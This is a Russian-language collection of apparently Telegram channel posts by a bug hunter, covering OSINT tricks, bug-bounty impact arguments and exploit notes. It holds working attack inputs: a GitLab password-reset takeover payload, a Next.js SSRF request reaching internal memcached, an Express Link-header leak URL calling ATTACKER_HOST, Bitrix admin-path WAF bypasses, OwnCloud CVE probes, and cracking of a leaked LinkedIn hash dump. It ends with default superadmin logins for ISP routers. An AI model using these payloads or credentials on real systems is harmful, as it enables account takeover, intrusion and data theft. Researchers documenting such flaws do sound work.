Многие юзают инфу о выданных сертификатах, чтобы узнать поддомены компании, например в crt.sh

Но не только лишь все знают, как узнать другие домены одного владельца в ru зоне.
Раньше для этого юзал 1stat.ru, но он уже больше как архив, а сейчас использую backorder.ru
Эт такой сервис для киберсквоттеров, который позволяет наблюдать за истекшими доменами и их перехватить. Ну и помимо этой функции, доступен расширенный поиск.

Короч, вбиваешь условный vk.ru, тыкаешь в значение поля Org, нажимаешь "Все домены".

#Osint
>

Что опасного в публичном отображении phpinfo?

Сдаешь такой в багбаунти, а тебе говорят, ну где импакт, CVSS 2.6?

А ты такой, ну смотри какой импакт:
- Дает узнать о конфигурации PHP, в том числе о версии, установленных модулях, путях к файлам и т.д. Что поможет эксплуатировать другие уязвимости.
- Раскрывается информация о реальном расположении серверов (если они скрыты за anti-DDOS или CDN)
- Отдельно стоит отметить, что в эпоху этих ваших docker-compose, иногда в нем раскрывается чувствительная информация в переменных окружения (рили видел креды от базы в ENV)
- Помогает эксплуатировать всякие LFI 2 RCE
- Секция с Cookie раскрывает ВСЕ ПЕЧЕНЬЯ, поэтому позволит украсть их, даже если они HTTPOnly

Я что-то забыл?

>

#owncloud

Для owncloud была классная CVE-2023-49105

Сплоет реализован в качестве прокси, которая подписывает запросы и можно через нее ходить на dav://, используя клиент Filezilla, Cyberduck, короч кто-что юзает.

Сначала ставим ten, запускаем проксю, но не наслаждаемся.

Потому что из коробки сплоет у меня не завелся, клиенты, видимо, не могут корректно распарсить ответ.
А я просто вывел ответ от прокси через print(response.text), и собрал список файлов. Сами файлы можно получать уже через curl/wget/браузер, так как для скачивания файлов достаточно GET запроса.

Типа wget localhost:8800/remote.php/dav/files/admin/Report.7z

Быстро чекнуть уязвимый ли owncloud можно через другую CVE-2023-49103:
/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/webpwn.css

Если открылся phpinfo() - то, скорее всего, систему не обновляли, а эти CVE'шки вышли рядом.

>

#OSINT #SSH

Вспомнил тут про старый трюк, можно тестануть:

ssh whoami.filippo.io

Короч, когда ты подключаешься по ssh, твой ssh-agent перебирает всеми ключами, которые у тебя в него подключены.
Это может привести к прикольной деанонимизации, если на стороне сервера включено логирование ssh ключей, которыми пытались подключиться.

Ключики можно собирать как на гитхабе:
https://github.com/Oleg.keys

Так и на гитлабе:
https://gitlab.com/Nikita.keys

Всякие энтузиасты собирают собственные базы забавы ради, думаю есть и те, которые делают это для расследований инцидентов после компрометации и вот этого всего.

[1], [2], [3]

>

В дискуссии спросили, ну чего опасного в том, что есть XSS на поддомене без юзеров. Допустим, есть у нас site.kek, а ты нашел уязвимость на subdomain.site.kek

Что может дать XSS на поддомене, где обычный одностраничный лэндинг, нет никаких данных пользователя?

Штош, импакт такой:

- Не только лишь все знают, что поддомен может ставить куки, в том числе на главный сайт (а точнее на весь скоуп, включая другие поддомены), а это может помочь при эксплуатировании других атак, например фиксацию сессии. Или вспомнить про отказ в обслуживании aka cookie bomb

- CORS на других сайтах компании, в том числе сам site.kek может принимать Origin: subdomain.site.kek, а это значит можно выполнять действия от лица пользователя.

- В дополнение к предыдущему - обходится механизм SameSite

- Старый добрый фишинг, если нет дизайна для регистрации или входа - ее можно нарисовать.

Может что-то еще?

>

Короч, чтоб тебя всякие shodan, censys и прочие умники не сканировали, а еще и не попадать под их поисковую выдачу, рекомендую такой дефолтный конфиг для nginx:

server {
listen 80 default_server;
listen 443 ssl http2 default_server;

# Если есть IPv6
listen [::]:80 default_server;
listen [::]:443 ssl http2 default_server;

ssl_reject_handshake on;

server_name _;

location / {
return 444;
}
}


Че тут делаем?
Слушаем 80 и 443 на ipv4 и ipv6.
Для 443 откланяем все операции SSL handshake, если имя сервера отлично от тех, что есть в других конфигах.
И если соединение установить удалось (и для 80 порта) - рвем его (ответ 444 обладает такой фичей).

>

#firebase

Короч. Встречали firebase на страницах? Обычно это подключение js-ника и конфиг вида

firebase.initializeApp({

  apiKey: "VHkgcGlkb3IpMDAwKSkpKSkpKSk=",

  authDomain: "blablabla"

  ...

});

Иногда это используется для заявок, фидбэков и вот этого всего. И если его неправильно готовят, то на нем можно зарегистрироваться через signupNewUser (тыц) и получить доступ к данным, которые собирали сотрудники (в моем случае это было через Firestore).

Только как имя базы узнать я не знаю, в моем случае оно тоже светилось в файлах фронта, но может в комментах подскажут.

Еще надо попробовать pyfireconnect и python-firebase

Savik поресерчил эту тему и сделал скрипт, который проверяет что доступно по данным Firebase.
Если есть api_key и project_id, то уже можно тыкаться по Realtime Database, Firestore, Storage.

>

#OpenAPI #Swagger

Короч, в extentions для burp suite есть OpenAPI Parser, это штука, которая позволяет брать всякие swagger.json, превращать их в запросы, сканить и вот это все.
Какая с ним проблема. Он не умеет работать с третьей спекой. Валится и все тут.

Выход - сконвертировать в OAS 2.0
У меня был огромный swagger и классический editor.swagger.io не смог его прожувать и вкладка зависала.
Но есть замечательный API Spec Converter, суем в него спеку 3 версии, конвертим в 2, загружаем в burp.

Единственное, в json надо добавить

  "host": "api.someshit.io",

  "basePath": "/",

  "schemes": [

    "https",

    "http"

  ],

после info в файле, и спарсится все отлично.

>

Доступ в двойную кавычку
Подключи подписку - и получи доступ к контенту раньше, чем будет его публикация, к щепотке уникального контента и чату без цензуры.
Твой вклад помогает развивать этот канал и делать его лучше 💣

Есть такая штука nextjs, несколько месяцев назад они добавили новую "фишку" распределение нагрузки - под капотом поднимается несколько микросервисов. Каждый из которых занимается своей частью обработки запроса. Работает все примерно так-же как и обычный прокси сервер, запрос приходит, обрабатывается, и через стороннюю библиотеку проксируется на другой порт.
Собственно именно это место нас и интересует.

В HTTP есть такой метод PRI (используются, если мне не изменяет память, чтобы проверить возможность HTTP/2 подключения). Нас интересует что запросы этого метода имеют cимвол * в пути, вместо привычного /.

PRI * HTTP/1.1.

Далее, все http-парcеры работают по разному, у nodejs он немного особенный, и url вида http://example.com:3456*@127.0.0.1:8080 будет разобран как:

hostname: 127.0.0.1, 

port: 8080, 

auth: example.com:3456*,

А самое важное тут то, что http-парсер nodejs считает валидными запросы вида:

GET *@127.0.0.1/ HTTP/1.1

Host: somehost

А знаете кто еще так делает - haproxy!

Ну и последнее: код который формирует url для проксирования внутрь nextjs выглядит так:

const targetUrl = `http://${

  targetHost === 'localhost' ? '127.0.0.1' : targetHost

}:${routerPort}${pathname}`

Собственно, т.к. мы контролируем pathname - мы можем отправить запрос вида:

GET *@127.0.0.1:11211 HTTP/1.1

Host: some

и запрос уйдет напрямую в memcached, получаем SSRF.
Но что более важное - это SSRF с возможностью чтения ответа: если внутри, в инфре, есть приватная веб-морда, мы можем спокойно обращаться к ней, как будь то бы она торчит наружу.

Уязвимые версии:
>= 13.3.0 | <=13.4.12
фича проксирования включена по умолчанию, она так же включается если установлен флаг appDir: true в конфигурации experimental.


Из интересного: vercel отказал в CVE, так как не считает что это уязвимость (на момент репорта уязвимость воспроизводилась в последних версиях). Однако с версии 13.4.13 изменили код. Теперь в части внутренних запросов используется fetch. Что дает некоторую защиту, т.к. fetch не принимает запросы содержащие авторизацию.

>

Быстро и дешево брутим хэши

Короч, есть чуваки такие, immers.cloud

По сути это хостинг с арендой видеокарт. А так как я занимался проектом passleak.ru, иногда нужно было разгадывать хэшики, решил не покупать под это оборудование. Вышло круто.

Тут есть два варианта развития событий.

Арендуем видеокарту (какую - по желанию, они там выкатили какие-то ультра-модные H100, но мне и 2080 часто хватает), грузим туда наши хэши, делаем что-то типа:


sudo apt-get update
sudo apt-get install gcc make tmux git mesa-common-dev cmake nvidia-cuda-toolkit build-essential unzip -y
https://ru.download.nvidia.com/XFree86/Linux-x86_64/470.63.01/NVIDIA-Linux-x86_64-470.63.01.run
chmod +x NVIDIA-Linux-x86_64-470.63.01.run
sudo ./NVIDIA-Linux-x86_64-470.63.01.run


Устанавливаем hashcat и играемся с этим всем.

Но если нам нужно побрутить пароли по словарям, способ еще круче. Берем готовый образ Ubuntu + Hashcat + Weakpass 3, на диске будет лежать архив с Weakpass V3. Запускаем и прогоняем хэши, забираем то что сбрутилось, вырубаем машину.

Например, чтоб раскукожить пароли из дампа Linkedin - мне потребовалось рублей... 20?
В общем, круто держать под рукой чтобы быстро сбрутить какой-то хэшик.

>

Роскомнадзор будет блокировать сайты с информацией об обходе блокировок

А пока не блокирует - просили рассказать))

Короч, сижу в инсте. Бесило, что нужно постоянно подрубать vpn, когда нужно зайти в инсту. И отрубать, когда заходишь в банк, доставку еды и прочие госуслуги.

Берем московскую виртуалку (юзаю selectel), ставим на неё zapret - это аналог GoodbyeDPI под linux.
Ну там нужно сначала запустить install, потом сделать чек через blockcheck.sh, лично я тестил на instagram.com. После чего поставить обход блокировки, который подходит для текущего провайдера.

Сверху поставил изичный wireguard

Качаешь прилку wireguard, цепляешься к своему серверу, наслаждаешься.

Что имеем:
* защищенное (over TLS) соединение - можно юзать публичные wifi с минимизацией риска MITM
* рос-четтам-надзор не блокирует wireguard соединения в рамках РФ
* открываются всякие фэйсбуки инстаграмы
* открываются банки и госуслуги

>

#gitlab

Забавная логическая уязвимость в Gitlab - CVE-2023-7028

Можно переопределить почту в механизме восстановления пароля, передав специально сформированный запрос, в котором в нулевом элементе массива будет валидный email, а в следующем - злоумышленника.

PoC:

user[email][]=valid@email.com&user[email][]=attacker@email.com

Для проверки фактов компрометации систем предлагается оценить в логе gitlab-rails/production_json.log наличие HTTP-запросов к обработчику /users/password с указанием массива из нескольких email в параметре "`params.value.email`". Также предлагается проверить наличие в логе gitlab-rails/audit_json.log записей со значением PasswordsController#create в meta.caller.id и указанием массива из нескольких адресов в блоке target_details. Атака не может быть доведена до конца при включении пользователем двухфакторной аутентификации.


Проблема проявляется начиная с выпуска GitLab 16.1.0, в котором появилась возможность отправки кода восстановления пароля на неверифицированный запасной email-адрес.

>

Интересный вектор Client-Side атаки

Многие веб-сайты используют заголовок Link для загрузки статического контента. Иногда из этого заголовка передается параметр или устанавливается язык и т.д. Это может послужить вектором атаки на те части приложения, которые имеют функционал поиска. Часто страницы с ошибками поиска имеют отличные Link заголовки.

Если, кроме того, используется фреймворк express, то, скорее всего, ситуация становится еще хуже.

Потому что links внутри express написана так:

res.links = function(links){

  var link = this.get('Link') || '';

  if (link) link += ', ';

  return this.set('Link', link + Object.keys(links).map(function(rel){

    return '<' + links[rel] + '>; rel="' + rel + '"';

  }).join(', '));

};

Путем выхода из < >, если при пустом поиске загружаются другие ссылки, можно используя поиск по внутренним данным пользователя, получать разные ответы
Следовательно можно побуквенно перебирать результаты поиска на странице, путем добавления iframe'ов
Пример с реального уязвимого сайта выглядит как-то так:

https://site.com?uuid=UUID_PREFIX&lang=>%20"modulepreload",<https://ATTACKER_HOST?e=UUID_PREFIX>; rel="modulepreload",

Так что полный чейн выглядит так:
1. Направляем пользователя на наш сайт
2. На нем открываем сотни скрытых ифреймов с ссылкой выше, перебирая префикс
3. По отстукам на хост понимаем результаты поиска на странице пользователя

Разработчики express об этом уведомлены, даже CVE мне дали, но фикс будет не скоро)
(Тем более такой же чейн работает когда мы можем любым другим методом контролировать Link хедер )

>

Короч, Apache Dubbo — это такая штука, которая часто используется для хайлоада, рядом. Разработчики говорят, что умеет помимо RPC еще и в WEB, поэтому давайте на нем делать микросервисы, но я особо их не видел (может не популярный в СНГ). А еще на минуточку, это один из самых популярных проектов на github (~40k звезд на момент написания).

Порт 28080, полезен сам по себе, так как через него можно посмотреть все классы и методы, и часто даёт RCE. Например из последнего CVE-2023-23638, или чуть старее.

>

#bitrix #php

В PHP точки, пробелы и "[" в именах запросов автоматически переименовываются в нижнее подчеркивание. А "+" в пробел. Это позволяет обходить некоторые фильтрации на уровне веб-сервера или WAF.

Например, с помощью конфигурации nginx закрыли доступ к админке из интернета, но есть фича с Bitrix, где можно переписать путь к которому мы обращаемся через параметр:

/pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/

если кто-то предусмотрел такую возможность, то можно поиграть с следующими именами:


/pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/
/pewpew/?SEF%20APPLICATION%20CUR%20PAGE_URL=/bitrix/admin/
/pewpew/?SEF.APPLICATION%20CUR+PAGE[URL=/bitrix/admin/

PoC

>

Метод TRACE

Помимо GET, POST, etc - есть еще и метод трассировки TRACE. Если пользуетесь burp'ом, он вам его подсветит, так как бага старше большиства багхантеров.

Что дает? Дает посмотреть весь HTTP запрос на сервере, в котором могут быть и секретные секреты, как например ключи пользователя или какие-то уникальные uuid для интеграции, x-forwarded-for и прочие служебные заголовки. Но не всегда.

Но не так давно прочитал забавности, что метод можно переопределить через
GET /path.html?_method=TRACE HTTP/1.1
или заголовок
_method: TRACE

>

Роутер от провайдера

Для меня было откровением, когда я подключил интернет, сменил дефолтный пароль от админа, а оказалось, что есть еще "суперадмин".

В моем случае, в роутере от МГТС, был следующий root:

mgts;mtsoao

На Ростелекоме (в частности, на роутерах от huawei), бывают следующие пары логинов и паролей:

telecomadmin;admintelecom
telecomadmin;NWTF5x%RaK8mVbD
telecomadmin;NWTF5x%
telecomadmin;nE7jA%5m